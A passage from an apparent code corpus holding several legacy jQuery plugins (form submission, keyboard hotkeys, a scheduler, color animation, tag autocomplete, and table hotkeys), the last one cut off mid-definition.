else if (s.dataType == 'xml' && !xhr.responseXML && xhr.responseText != null) {
xhr.responseXML = toXml(xhr.responseText);
}
data = httpData(xhr, s.dataType, s);
}
catch(e){
log('error caught:',e);
ok = false;
xhr.error = e;
s.error && s.error.call(s.context, xhr, 'error', e);
g && $.event.trigger("ajaxError", [xhr, s, e]);
}
if (xhr.aborted) {
log('upload aborted');
ok = false;
}
// ordering of these callbacks/triggers is odd, but that's how $.ajax does it
if (ok) {
s.success && s.success.call(s.context, data, 'success', xhr);
g && $.event.trigger("ajaxSuccess", [xhr, s]);
}
g && $.event.trigger("ajaxComplete", [xhr, s]);
if (g && ! --$.active) {
$.event.trigger("ajaxStop");
}
s.complete && s.complete.call(s.context, xhr, ok ? 'success' : 'error');
callbackProcessed = true;
if (s.timeout)
clearTimeout(timeoutHandle);
// clean up
setTimeout(function() {
$io.removeData('form-plugin-onload');
$io.remove();
xhr.responseXML = null;
}, 100);
}
var toXml = $.parseXML || function(s, doc) { // use parseXML if available (jQuery 1.5+)
if (window.ActiveXObject) {
doc = new ActiveXObject('Microsoft.XMLDOM');
doc.async = 'false';
doc.loadXML(s);
}
else {
doc = (new DOMParser()).parseFromString(s, 'text/xml');
}
return (doc && doc.documentElement && doc.documentElement.nodeName != 'parsererror') ? doc : null;
};
var parseJSON = $.parseJSON || function(s) {
return window['eval']('(' + s + ')');
};
var httpData = function( xhr, type, s ) { // mostly lifted from jq1.4.4
var ct = xhr.getResponseHeader('content-type') || '',
xml = type === 'xml' || !type && ct.indexOf('xml') >= 0,
data = xml ? xhr.responseXML : xhr.responseText;
if (xml && data.documentElement.nodeName === 'parsererror') {
$.error && $.error('parsererror');
}
if (s && s.dataFilter) {
data = s.dataFilter(data, type);
}
if (typeof data === 'string') {
if (type === 'json' || !type && ct.indexOf('json') >= 0) {
data = parseJSON(data);
} else if (type === "script" || !type && ct.indexOf("javascript") >= 0) {
$.globalEval(data);
}
}
return data;
};
}
};
/**
* ajaxForm() provides a mechanism for fully automating form submission.
*
* The advantages of using this method instead of ajaxSubmit() are:
*
* 1: This method will include coordinates for <input type="image" /> elements (if the element
* is used to submit the form).
* 2. This method will include the submit element's name/value data (for the element that was
* used to submit the form).
* 3. This method binds the submit() method to the form for you.
*
* The options argument for ajaxForm works exactly as it does for ajaxSubmit. ajaxForm merely
* passes the options argument along after properly binding events for submit elements and
* the form itself.
*/
$.fn.ajaxForm = function(options) {
// in jQuery 1.3+ we can fix mistakes with the ready state
if (this.length === 0) {
var o = { s: this.selector, c: this.context };
if (!$.isReady && o.s) {
log('DOM not ready, queuing ajaxForm');
$(function() {
$(o.s,o.c).ajaxForm(options);
});
return this;
}
// is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
return this;
}
return this.ajaxFormUnbind().bind('submit.form-plugin', function(e) {
if (!e.isDefaultPrevented()) { // if event has been canceled, don't proceed
e.preventDefault();
$(this).ajaxSubmit(options);
}
}).bind('click.form-plugin', function(e) {
var target = e.target;
var $el = $(target);
if (!($el.is(":submit,input:image"))) {
// is this a child element of the submit el? (ex: a span within a button)
var t = $el.closest(':submit');
if (t.length == 0) {
return;
}
target = t[0];
}
var form = this;
form.clk = target;
if (target.type == 'image') {
if (e.offsetX != undefined) {
form.clk_x = e.offsetX;
form.clk_y = e.offsetY;
} else if (typeof $.fn.offset == 'function') { // try to use dimensions plugin
var offset = $el.offset();
form.clk_x = e.pageX - offset.left;
form.clk_y = e.pageY - offset.top;
} else {
form.clk_x = e.pageX - target.offsetLeft;
form.clk_y = e.pageY - target.offsetTop;
}
}
// clear form vars
setTimeout(function() { form.clk = form.clk_x = form.clk_y = null; }, 100);
});
};
// ajaxFormUnbind unbinds the event handlers that were bound by ajaxForm
$.fn.ajaxFormUnbind = function() {
return this.unbind('submit.form-plugin click.form-plugin');
};
/**
* formToArray() gathers form element data into an array of objects that can
* be passed to any of the following ajax functions: $.get, $.post, or load.
* Each object in the array has both a 'name' and 'value' property. An example of
* an array for a simple login form might be:
*
* [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ]
*
* It is this array that is passed to pre-submit callback functions provided to the
* ajaxSubmit() and ajaxForm() methods.
*/
$.fn.formToArray = function(semantic) {
var a = [];
if (this.length === 0) {
return a;
}
var form = this[0];
var els = semantic ? form.getElementsByTagName('*') : form.elements;
if (!els) {
return a;
}
var i,j,n,v,el,max,jmax;
for(i=0, max=els.length; i < max; i++) {
el = els[i];
n = el.name;
if (!n) {
continue;
}
if (semantic && form.clk && el.type == "image") {
// handle image inputs on the fly when semantic == true
if(!el.disabled && form.clk == el) {
a.push({name: n, value: $(el).val()});
a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y});
}
continue;
}
v = $.fieldValue(el, true);
if (v && v.constructor == Array) {
for(j=0, jmax=v.length; j < jmax; j++) {
a.push({name: n, value: v[j]});
}
}
else if (v !== null && typeof v != 'undefined') {
a.push({name: n, value: v});
}
}
if (!semantic && form.clk) {
// input type=='image' are not found in elements array! handle it here
var $input = $(form.clk), input = $input[0];
n = input.name;
if (n && !input.disabled && input.type == 'image') {
a.push({name: n, value: $input.val()});
a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y});
}
}
return a;
};
/**
* Serializes form data into a 'submittable' string. This method will return a string
* in the format: name1=value1&name2=value2
*/
$.fn.formSerialize = function(semantic) {
//hand off to jQuery.param for proper encoding
return $.param(this.formToArray(semantic));
};
/**
* Serializes all field elements in the jQuery object into a query string.
* This method will return a string in the format: name1=value1&name2=value2
*/
$.fn.fieldSerialize = function(successful) {
var a = [];
this.each(function() {
var n = this.name;
if (!n) {
return;
}
var v = $.fieldValue(this, successful);
if (v && v.constructor == Array) {
for (var i=0,max=v.length; i < max; i++) {
a.push({name: n, value: v[i]});
}
}
else if (v !== null && typeof v != 'undefined') {
a.push({name: this.name, value: v});
}
});
//hand off to jQuery.param for proper encoding
return $.param(a);
};
/**
* Returns the value(s) of the element in the matched set. For example, consider the following form:
*
* <form><fieldset>
* <input name="A" type="text" />
* <input name="A" type="text" />
* <input name="B" type="checkbox" value="B1" />
* <input name="B" type="checkbox" value="B2"/>
* <input name="C" type="radio" value="C1" />
* <input name="C" type="radio" value="C2" />
* </fieldset></form>
*
* var v = $(':text').fieldValue();
* // if no values are entered into the text inputs
* v == ['','']
* // if values entered into the text inputs are 'foo' and 'bar'
* v == ['foo','bar']
*
* var v = $(':checkbox').fieldValue();
* // if neither checkbox is checked
* v === undefined
* // if both checkboxes are checked
* v == ['B1', 'B2']
*
* var v = $(':radio').fieldValue();
* // if neither radio is checked
* v === undefined
* // if first radio is checked
* v == ['C1']
*
* The successful argument controls whether or not the field element must be 'successful'
* (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls).
* The default value of the successful argument is true. If this value is false the value(s)
* for each element is returned.
*
* Note: This method *always* returns an array. If no valid value can be determined the
* array will be empty, otherwise it will contain one or more values.
*/
$.fn.fieldValue = function(successful) {
for (var val=[], i=0, max=this.length; i < max; i++) {
var el = this[i];
var v = $.fieldValue(el, successful);
if (v === null || typeof v == 'undefined' || (v.constructor == Array && !v.length)) {
continue;
}
v.constructor == Array ? $.merge(val, v) : val.push(v);
}
return val;
};
/**
* Returns the value of the field element.
*/
$.fieldValue = function(el, successful) {
var n = el.name, t = el.type, tag = el.tagName.toLowerCase();
if (successful === undefined) {
successful = true;
}
if (successful && (!n || el.disabled || t == 'reset' || t == 'button' ||
(t == 'checkbox' || t == 'radio') && !el.checked ||
(t == 'submit' || t == 'image') && el.form && el.form.clk != el ||
tag == 'select' && el.selectedIndex == -1)) {
return null;
}
if (tag == 'select') {
var index = el.selectedIndex;
if (index < 0) {
return null;
}
var a = [], ops = el.options;
var one = (t == 'select-one');
var max = (one ? index+1 : ops.length);
for(var i=(one ? index : 0); i < max; i++) {
var op = ops[i];
if (op.selected) {
var v = op.value;
if (!v) { // extra pain for IE...
v = (op.attributes && op.attributes['value'] && !(op.attributes['value'].specified)) ? op.text : op.value;
}
if (one) {
return v;
}
a.push(v);
}
}
return a;
}
return $(el).val();
};
/**
* Clears the form data. Takes the following actions on the form's input fields:
* - input text fields will have their 'value' property set to the empty string
* - select elements will have their 'selectedIndex' property set to -1
* - checkbox and radio inputs will have their 'checked' property set to false
* - inputs of type submit, button, reset, and hidden will *not* be effected
* - button elements will *not* be effected
*/
$.fn.clearForm = function() {
return this.each(function() {
$('input,select,textarea', this).clearFields();
});
};
/**
* Clears the selected form elements.
*/
$.fn.clearFields = $.fn.clearInputs = function() {
return this.each(function() {
var t = this.type, tag = this.tagName.toLowerCase();
if (t == 'text' || t == 'password' || tag == 'textarea') {
this.value = '';
}
else if (t == 'checkbox' || t == 'radio') {
this.checked = false;
}
else if (tag == 'select') {
this.selectedIndex = -1;
}
});
};
/**
* Resets the form data. Causes all form elements to be reset to their original value.
*/
$.fn.resetForm = function() {
return this.each(function() {
// guard against an input with the name of 'reset'
// note that IE reports the reset function as an 'object'
if (typeof this.reset == 'function' || (typeof this.reset == 'object' && !this.reset.nodeType)) {
this.reset();
}
});
};
/**
* Enables or disables any matching elements.
*/
$.fn.enable = function(b) {
if (b === undefined) {
b = true;
}
return this.each(function() {
this.disabled = !b;
});
};
/**
* Checks/unchecks any matching checkboxes or radio buttons and
* selects/deselects and matching option elements.
*/
$.fn.selected = function(select) {
if (select === undefined) {
select = true;
}
return this.each(function() {
var t = this.type;
if (t == 'checkbox' || t == 'radio') {
this.checked = select;
}
else if (this.tagName.toLowerCase() == 'option') {
var $sel = $(this).parent('select');
if (select && $sel[0] && $sel[0].type == 'select-one') {
// deselect all other options
$sel.find('option').selected(false);
}
this.selected = select;
}
});
};
// helper fn for console logging
// set $.fn.ajaxSubmit.debug to true to enable debug logging
function log() {
if ($.fn.ajaxSubmit.debug) {
var msg = '[jquery.form] ' + Array.prototype.join.call(arguments,'');
if (window.console && window.console.log) {
window.console.log(msg);
}
else if (window.opera && window.opera.postError) {
window.opera.postError(msg);
}
}
};
})(jQuery);
| JavaScript |
/******************************************************************************************************************************
* @ Original idea by by Binny V A, Original version: 2.00.A
* @ http://www.openjs.com/scripts/events/keyboard_shortcuts/
* @ Original License : BSD
* @ jQuery Plugin by Tzury Bar Yochay
mail: tzury.by@gmail.com
blog: evalinux.wordpress.com
face: facebook.com/profile.php?id=513676303
(c) Copyrights 2007
* @ jQuery Plugin version Beta (0.0.2)
* @ License: jQuery-License.
TODO:
add queue support (as in gmail) e.g. 'x' then 'y', etc.
add mouse + mouse wheel events.
USAGE:
$.hotkeys.add('Ctrl+c', function(){ alert('copy anyone?');});
$.hotkeys.add('Ctrl+c', {target:'div#editor', type:'keyup', propagate: true},function(){ alert('copy anyone?');});>
$.hotkeys.remove('Ctrl+c');
$.hotkeys.remove('Ctrl+c', {target:'div#editor', type:'keypress'});
******************************************************************************************************************************/
(function (jQuery){
this.version = '(beta)(0.0.3)';
this.all = {};
this.special_keys = {
27: 'esc', 9: 'tab', 32:'space', 13: 'return', 8:'backspace', 145: 'scroll', 20: 'capslock',
144: 'numlock', 19:'pause', 45:'insert', 36:'home', 46:'del',35:'end', 33: 'pageup',
34:'pagedown', 37:'left', 38:'up', 39:'right',40:'down', 112:'f1',113:'f2', 114:'f3',
115:'f4', 116:'f5', 117:'f6', 118:'f7', 119:'f8', 120:'f9', 121:'f10', 122:'f11', 123:'f12'};
this.shift_nums = { "`":"~", "1":"!", "2":"@", "3":"#", "4":"$", "5":"%", "6":"^", "7":"&",
"8":"*", "9":"(", "0":")", "-":"_", "=":"+", ";":":", "'":"\"", ",":"<",
".":">", "/":"?", "\\":"|" };
this.add = function(combi, options, callback) {
if (jQuery.isFunction(options)){
callback = options;
options = {};
}
var opt = {},
defaults = {type: 'keydown', propagate: false, disableInInput: false, target: jQuery('html')[0]},
that = this;
opt = jQuery.extend( opt , defaults, options || {} );
combi = combi.toLowerCase();
// inspect if keystroke matches
var inspector = function(event) {
event = jQuery.event.fix(event); // jQuery event normalization.
var element = event.target;
// @ TextNode -> nodeType == 3
element = (element.nodeType==3) ? element.parentNode : element;
if(opt['disableInInput']) { // Disable shortcut keys in Input, Textarea fields
var target = jQuery(element);
if( target.is("input") || target.is("textarea")){
return;
}
}
var code = event.which,
type = event.type,
character = String.fromCharCode(code).toLowerCase(),
special = that.special_keys[code],
shift = event.shiftKey,
ctrl = event.ctrlKey,
alt= event.altKey,
meta = event.metaKey,
propagate = true, // default behaivour
mapPoint = null;
// in opera + safari, the event.target is unpredictable.
// for example: 'keydown' might be associated with HtmlBodyElement
// or the element where you last clicked with your mouse.
if (jQuery.browser.opera || jQuery.browser.safari){
while (!that.all[element] && element.parentNode){
element = element.parentNode;
}
}
var cbMap = that.all[element].events[type].callbackMap;
if(!shift && !ctrl && !alt && !meta) { // No Modifiers
mapPoint = cbMap[special] || cbMap[character]
}
// deals with combinaitons (alt|ctrl|shift+anything)
else{
var modif = '';
if(alt) modif +='alt+';
if(ctrl) modif+= 'ctrl+';
if(shift) modif += 'shift+';
if(meta) modif += 'meta+';
// modifiers + special keys or modifiers + characters or modifiers + shift characters
mapPoint = cbMap[modif+special] || cbMap[modif+character] || cbMap[modif+that.shift_nums[character]]
}
if (mapPoint){
mapPoint.cb(event);
if(!mapPoint.propagate) {
event.stopPropagation();
event.preventDefault();
return false;
}
}
};
// first hook for this element
if (!this.all[opt.target]){
this.all[opt.target] = {events:{}};
}
if (!this.all[opt.target].events[opt.type]){
this.all[opt.target].events[opt.type] = {callbackMap: {}}
jQuery.event.add(opt.target, opt.type, inspector);
}
this.all[opt.target].events[opt.type].callbackMap[combi] = {cb: callback, propagate:opt.propagate};
return jQuery;
};
this.remove = function(exp, opt) {
opt = opt || {};
target = opt.target || jQuery('html')[0];
type = opt.type || 'keydown';
exp = exp.toLowerCase();
delete this.all[target].events[type].callbackMap[exp]
return jQuery;
};
jQuery.hotkeys = this;
return jQuery;
})(jQuery); | JavaScript |
(function($){$.scheduler=function(){this.bucket={};return;};$.scheduler.prototype={schedule:function(){var ctx={"id":null,"time":1000,"repeat":false,"protect":false,"obj":null,"func":function(){},"args":[]};function _isfn(fn){return(!!fn&&typeof fn!="string"&&typeof fn[0]=="undefined"&&RegExp("function","i").test(fn+""));};var i=0;var override=false;if(typeof arguments[i]=="object"&&arguments.length>1){override=true;i++;}
if(typeof arguments[i]=="object"){for(var option in arguments[i])
if(typeof ctx[option]!="undefined")
ctx[option]=arguments[i][option];i++;}
if(typeof arguments[i]=="number"||(typeof arguments[i]=="string"&&arguments[i].match(RegExp("^[0-9]+[smhdw]$"))))
ctx["time"]=arguments[i++];if(typeof arguments[i]=="boolean")
ctx["repeat"]=arguments[i++];if(typeof arguments[i]=="boolean")
ctx["protect"]=arguments[i++];if(typeof arguments[i]=="object"&&typeof arguments[i+1]=="string"&&_isfn(arguments[i][arguments[i+1]])){ctx["obj"]=arguments[i++];ctx["func"]=arguments[i++];}
else if(typeof arguments[i]!="undefined"&&(_isfn(arguments[i])||typeof arguments[i]=="string"))
ctx["func"]=arguments[i++];while(typeof arguments[i]!="undefined")
ctx["args"].push(arguments[i++]);if(override){if(typeof arguments[1]=="object"){for(var option in arguments[0])
if(typeof ctx[option]!="undefined"&&typeof arguments[1][option]=="undefined")
ctx[option]=arguments[0][option];}
else{for(var option in arguments[0])
if(typeof ctx[option]!="undefined")
ctx[option]=arguments[0][option];}
i++;}
ctx["_scheduler"]=this;ctx["_handle"]=null;var match=String(ctx["time"]).match(RegExp("^([0-9]+)([smhdw])$"));if(match&&match[0]!="undefined"&&match[1]!="undefined")
ctx["time"]=String(parseInt(match[1])*{s:1000,m:1000*60,h:1000*60*60,d:1000*60*60*24,w:1000*60*60*24*7}[match[2]]);if(ctx["id"]==null)
ctx["id"]=(String(ctx["repeat"])+":"
+String(ctx["protect"])+":"
+String(ctx["time"])+":"
+String(ctx["obj"])+":"
+String(ctx["func"])+":"
+String(ctx["args"]));if(ctx["protect"])
if(typeof this.bucket[ctx["id"]]!="undefined")
return this.bucket[ctx["id"]];if(!_isfn(ctx["func"])){if(ctx["obj"]!=null&&typeof ctx["obj"]=="object"&&typeof ctx["func"]=="string"&&_isfn(ctx["obj"][ctx["func"]]))
ctx["func"]=ctx["obj"][ctx["func"]];else
ctx["func"]=eval("function () { "+ctx["func"]+" }");}
ctx["_handle"]=this._schedule(ctx);this.bucket[ctx["id"]]=ctx;return ctx;},reschedule:function(ctx){if(typeof ctx=="string")
ctx=this.bucket[ctx];ctx["_handle"]=this._schedule(ctx);return ctx;},_schedule:function(ctx){var trampoline=function(){var obj=(ctx["obj"]!=null?ctx["obj"]:ctx);(ctx["func"]).apply(obj,ctx["args"]);if(typeof(ctx["_scheduler"]).bucket[ctx["id"]]!="undefined"&&ctx["repeat"])
(ctx["_scheduler"])._schedule(ctx);else
delete(ctx["_scheduler"]).bucket[ctx["id"]];};return setTimeout(trampoline,ctx["time"]);},cancel:function(ctx){if(typeof ctx=="string")
ctx=this.bucket[ctx];if(typeof ctx=="object"){clearTimeout(ctx["_handle"]);delete this.bucket[ctx["id"]];}}};$.extend({scheduler$:new $.scheduler(),schedule:function(){return $.scheduler$.schedule.apply($.scheduler$,arguments)},reschedule:function(){return $.scheduler$.reschedule.apply($.scheduler$,arguments)},cancel:function(){return $.scheduler$.cancel.apply($.scheduler$,arguments)}});$.fn.extend({schedule:function(){var a=[{}];for(var i=0;i<arguments.length;i++)
a.push(arguments[i]);return this.each(function(){a[0]={"id":this,"obj":this};return $.schedule.apply($,a);});}});})(jQuery); | JavaScript |
/*
* jQuery Color Animations
* Copyright 2007 John Resig
* Released under the MIT and GPL licenses.
*/
(function(jQuery){
// We override the animation for all of these color styles
jQuery.each(['backgroundColor', 'borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor', 'color', 'outlineColor'], function(i,attr){
jQuery.fx.step[attr] = function(fx){
if ( fx.state == 0 ) {
fx.start = getColor( fx.elem, attr );
fx.end = getRGB( fx.end );
}
fx.elem.style[attr] = "rgb(" + [
Math.max(Math.min( parseInt((fx.pos * (fx.end[0] - fx.start[0])) + fx.start[0]), 255), 0),
Math.max(Math.min( parseInt((fx.pos * (fx.end[1] - fx.start[1])) + fx.start[1]), 255), 0),
Math.max(Math.min( parseInt((fx.pos * (fx.end[2] - fx.start[2])) + fx.start[2]), 255), 0)
].join(",") + ")";
}
});
// Color Conversion functions from highlightFade
// By Blair Mitchelmore
// http://jquery.offput.ca/highlightFade/
// Parse strings looking for color tuples [255,255,255]
function getRGB(color) {
var result;
// Check if we're already dealing with an array of colors
if ( color && color.constructor == Array && color.length == 3 )
return color;
// Look for rgb(num,num,num)
if (result = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(color))
return [parseInt(result[1]), parseInt(result[2]), parseInt(result[3])];
// Look for rgb(num%,num%,num%)
if (result = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(color))
return [parseFloat(result[1])*2.55, parseFloat(result[2])*2.55, parseFloat(result[3])*2.55];
// Look for #a0b1c2
if (result = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(color))
return [parseInt(result[1],16), parseInt(result[2],16), parseInt(result[3],16)];
// Look for #fff
if (result = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(color))
return [parseInt(result[1]+result[1],16), parseInt(result[2]+result[2],16), parseInt(result[3]+result[3],16)];
// Look for rgba(0, 0, 0, 0) == transparent in Safari 3
if (result = /rgba\(0, 0, 0, 0\)/.exec(color))
return colors['transparent']
// Otherwise, we're most likely dealing with a named color
return colors[jQuery.trim(color).toLowerCase()];
}
function getColor(elem, attr) {
var color;
do {
color = jQuery.curCSS(elem, attr);
// Keep going until we find an element that has color, or we hit the body
if ( color != '' && color != 'transparent' || jQuery.nodeName(elem, "body") )
break;
attr = "backgroundColor";
} while ( elem = elem.parentNode );
return getRGB(color);
};
// Some named colors to work with
// From Interface by Stefan Petre
// http://interface.eyecon.ro/
var colors = {
aqua:[0,255,255],
azure:[240,255,255],
beige:[245,245,220],
black:[0,0,0],
blue:[0,0,255],
brown:[165,42,42],
cyan:[0,255,255],
darkblue:[0,0,139],
darkcyan:[0,139,139],
darkgrey:[169,169,169],
darkgreen:[0,100,0],
darkkhaki:[189,183,107],
darkmagenta:[139,0,139],
darkolivegreen:[85,107,47],
darkorange:[255,140,0],
darkorchid:[153,50,204],
darkred:[139,0,0],
darksalmon:[233,150,122],
darkviolet:[148,0,211],
fuchsia:[255,0,255],
gold:[255,215,0],
green:[0,128,0],
indigo:[75,0,130],
khaki:[240,230,140],
lightblue:[173,216,230],
lightcyan:[224,255,255],
lightgreen:[144,238,144],
lightgrey:[211,211,211],
lightpink:[255,182,193],
lightyellow:[255,255,224],
lime:[0,255,0],
magenta:[255,0,255],
maroon:[128,0,0],
navy:[0,0,128],
olive:[128,128,0],
orange:[255,165,0],
pink:[255,192,203],
purple:[128,0,128],
violet:[128,0,128],
red:[255,0,0],
silver:[192,192,192],
white:[255,255,255],
yellow:[255,255,0],
transparent: [255,255,255]
};
})(jQuery);
| JavaScript |
/*
* jquery.suggest 1.1b - 2007-08-06
* Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting
* See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228
*
* Uses code and techniques from following libraries:
* 1. http://www.dyve.net/jquery/?autocomplete
* 2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js
*
* All the new stuff written by Peter Vulgaris (www.vulgarisoip.com)
* Feel free to do whatever you want with this file
*
*/
(function($) {
$.suggest = function(input, options) {
var $input, $results, timeout, prevLength, cache, cacheSize;
$input = $(input).attr("autocomplete", "off");
$results = $(document.createElement("ul"));
timeout = false; // hold timeout ID for suggestion results to appear
prevLength = 0; // last recorded length of $input.val()
cache = []; // cache MRU list
cacheSize = 0; // size of cache in chars (bytes?)
$results.addClass(options.resultsClass).appendTo('body');
resetPosition();
$(window)
.load(resetPosition) // just in case user is changing size of page while loading
.resize(resetPosition);
$input.blur(function() {
setTimeout(function() { $results.hide() }, 200);
});
// help IE users if possible
if ( $.browser.msie ) {
try {
$results.bgiframe();
} catch(e) { }
}
// I really hate browser detection, but I don't see any other way
if ($.browser.mozilla)
$input.keypress(processKey); // onkeypress repeats arrow keys in Mozilla/Opera
else
$input.keydown(processKey); // onkeydown repeats arrow keys in IE/Safari
function resetPosition() {
// requires jquery.dimension plugin
var offset = $input.offset();
$results.css({
top: (offset.top + input.offsetHeight) + 'px',
left: offset.left + 'px'
});
}
function processKey(e) {
// handling up/down/escape requires results to be visible
// handling enter/tab requires that AND a result to be selected
if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) ||
(/^13$|^9$/.test(e.keyCode) && getCurrentResult())) {
if (e.preventDefault)
e.preventDefault();
if (e.stopPropagation)
e.stopPropagation();
e.cancelBubble = true;
e.returnValue = false;
switch(e.keyCode) {
case 38: // up
prevResult();
break;
case 40: // down
nextResult();
break;
case 9: // tab
case 13: // return
selectCurrentResult();
break;
case 27: // escape
$results.hide();
break;
}
} else if ($input.val().length != prevLength) {
if (timeout)
clearTimeout(timeout);
timeout = setTimeout(suggest, options.delay);
prevLength = $input.val().length;
}
}
function suggest() {
var q = $.trim($input.val()), multipleSepPos, items;
if ( options.multiple ) {
multipleSepPos = q.lastIndexOf(options.multipleSep);
if ( multipleSepPos != -1 ) {
q = $.trim(q.substr(multipleSepPos + options.multipleSep.length));
}
}
if (q.length >= options.minchars) {
cached = checkCache(q);
if (cached) {
displayItems(cached['items']);
} else {
$.get(options.source, {q: q}, function(txt) {
$results.hide();
items = parseTxt(txt, q);
displayItems(items);
addToCache(q, items, txt.length);
});
}
} else {
$results.hide();
}
}
function checkCache(q) {
var i;
for (i = 0; i < cache.length; i++)
if (cache[i]['q'] == q) {
cache.unshift(cache.splice(i, 1)[0]);
return cache[0];
}
return false;
}
function addToCache(q, items, size) {
var cached;
while (cache.length && (cacheSize + size > options.maxCacheSize)) {
cached = cache.pop();
cacheSize -= cached['size'];
}
cache.push({
q: q,
size: size,
items: items
});
cacheSize += size;
}
function displayItems(items) {
var html = '', i;
if (!items)
return;
if (!items.length) {
$results.hide();
return;
}
resetPosition(); // when the form moves after the page has loaded
for (i = 0; i < items.length; i++)
html += '<li>' + items[i] + '</li>';
$results.html(html).show();
$results
.children('li')
.mouseover(function() {
$results.children('li').removeClass(options.selectClass);
$(this).addClass(options.selectClass);
})
.click(function(e) {
e.preventDefault();
e.stopPropagation();
selectCurrentResult();
});
}
function parseTxt(txt, q) {
var items = [], tokens = txt.split(options.delimiter), i, token;
// parse returned data for non-empty items
for (i = 0; i < tokens.length; i++) {
token = $.trim(tokens[i]);
if (token) {
token = token.replace(
new RegExp(q, 'ig'),
function(q) { return '<span class="' + options.matchClass + '">' + q + '</span>' }
);
items[items.length] = token;
}
}
return items;
}
function getCurrentResult() {
var $currentResult;
if (!$results.is(':visible'))
return false;
$currentResult = $results.children('li.' + options.selectClass);
if (!$currentResult.length)
$currentResult = false;
return $currentResult;
}
function selectCurrentResult() {
$currentResult = getCurrentResult();
if ($currentResult) {
if ( options.multiple ) {
if ( $input.val().indexOf(options.multipleSep) != -1 ) {
$currentVal = $input.val().substr( 0, ( $input.val().lastIndexOf(options.multipleSep) + options.multipleSep.length ) );
} else {
$currentVal = "";
}
$input.val( $currentVal + $currentResult.text() + options.multipleSep);
$input.focus();
} else {
$input.val($currentResult.text());
}
$results.hide();
if (options.onSelect)
options.onSelect.apply($input[0]);
}
}
function nextResult() {
$currentResult = getCurrentResult();
if ($currentResult)
$currentResult
.removeClass(options.selectClass)
.next()
.addClass(options.selectClass);
else
$results.children('li:first-child').addClass(options.selectClass);
}
function prevResult() {
var $currentResult = getCurrentResult();
if ($currentResult)
$currentResult
.removeClass(options.selectClass)
.prev()
.addClass(options.selectClass);
else
$results.children('li:last-child').addClass(options.selectClass);
}
}
$.fn.suggest = function(source, options) {
if (!source)
return;
options = options || {};
options.multiple = options.multiple || false;
options.multipleSep = options.multipleSep || ", ";
options.source = source;
options.delay = options.delay || 100;
options.resultsClass = options.resultsClass || 'ac_results';
options.selectClass = options.selectClass || 'ac_over';
options.matchClass = options.matchClass || 'ac_match';
options.minchars = options.minchars || 2;
options.delimiter = options.delimiter || '\n';
options.onSelect = options.onSelect || false;
options.maxCacheSize = options.maxCacheSize || 65536;
this.each(function() {
new $.suggest(this, options);
});
return this;
};
})(jQuery); | JavaScript |
(function($){
$.fn.filter_visible = function(depth) {
depth = depth || 3;
var is_visible = function() {
var p = $(this), i;
for(i=0; i<depth-1; ++i) {
if (!p.is(':visible')) return false;
p = p.parent();
}
return true;
}
return this.filter(is_visible);
};
$.table_hotkeys = function(table, keys, opts) {
opts = $.extend($.table_hotkeys.defaults, opts);
var selected_class, destructive_class, set_current_row, adjacent_row_callback, get_adjacent_row, adjacent_row, prev_row, next_row, check, get_first_row, get_last_row, make_key_callback, first_row;
selected_class = opts.class_prefix + opts.selected_suffix;
destructive_class = opts.class_prefix + opts.destructive_suffix
set_current_row = function (tr) {
if ($.table_hotkeys.current_row) $.table_hotkeys.current_row.removeClass(selected_class);
tr.addClass(selected_class);
tr[0].scrollIntoView(false);
$.table_hotkeys.current_row = tr;
};
adjacent_row_callback = function(which) {
if (!adjacent_row(which) && $.isFunction(opts[which+'_page_link_cb'])) {
opts[which+'_page_link_cb']();
}
};
get_adjacent_row = function(which) {
var first_row, method;
if (!$.table_hotkeys.current_row) {
first_row = get_first_row();
$.table_hotkeys.current_row = first_row;
return first_row[0];
}
method = 'prev' == which? $.fn.prevAll : $.fn.nextAll;
return method.call($.table_hotkeys.current_row, opts.cycle_expr).filter_visible()[0];
};
adjacent_row = function(which) {
var adj = get_adjacent_row(which);
if (!adj) return false;
set_current_row($(adj));
return true;
};
prev_row = function() { return adjacent_row('prev'); };
next_row = function() { return adjacent_row('next'); };
check = function() {
$(opts.checkbox_expr, $.table_hotkeys.current_row).each(function() {
this.checked = !this.checked;
});
};
get_first_row = function() {
return $(opts.cycle_expr, table).filter_visible().eq(opts.start_row_index);
};
get_last_row = function() {
var rows = $(opts.cycle_expr, table).filter_visible();
return rows.eq(rows.length-1);
};
make_key_callback = function(expr) {
return function() {
if ( null == $.table_hotkeys.current_row ) return false;
var clickable = $(expr, $.table_hotkeys.current_row);
if (!clickable.length) return false;
if (clickable.is('.'+destructive_class)) next_row() || prev_row();
clickable.click();
}
};
first_row = get_first_row();
if (!first_row.length) return;
if (opts.highlight_first)
set_current_row(first_row);
else if (opts.highlight_last)
set_current_row(get_last_row());
$.hotkeys.add(opts.prev_key, opts.hotkeys_opts, function() {return adjacent_row_callback('prev')});
$.hotkeys.add(opts.next_key, opts.hotkeys_opts, function() {return adjacent_row_callback('next')});
$.hotkeys.add(opts.mark_key, opts.hotkeys_opts, check);
$.each(keys, function() {
var callback, key;
if ($.isFunction(this[1])) {
callback = this[1];
key = this[0];
$.hotkeys.add(key, opts.hotkeys_opts, function(event) { return callback(event, $.table_hotkeys.current_row); });
} else {
key = this;
$.hotkeys.add(key, opts.hotkeys_opts, make_key_callback('.'+opts.class_prefix+key));
}
});
};
$.table_hotkeys.current_row = null;
$.table_hotkeys.defaults = {cycle_expr: 'tr', class_prefix: 'vim-', selected_suffix: 'current',
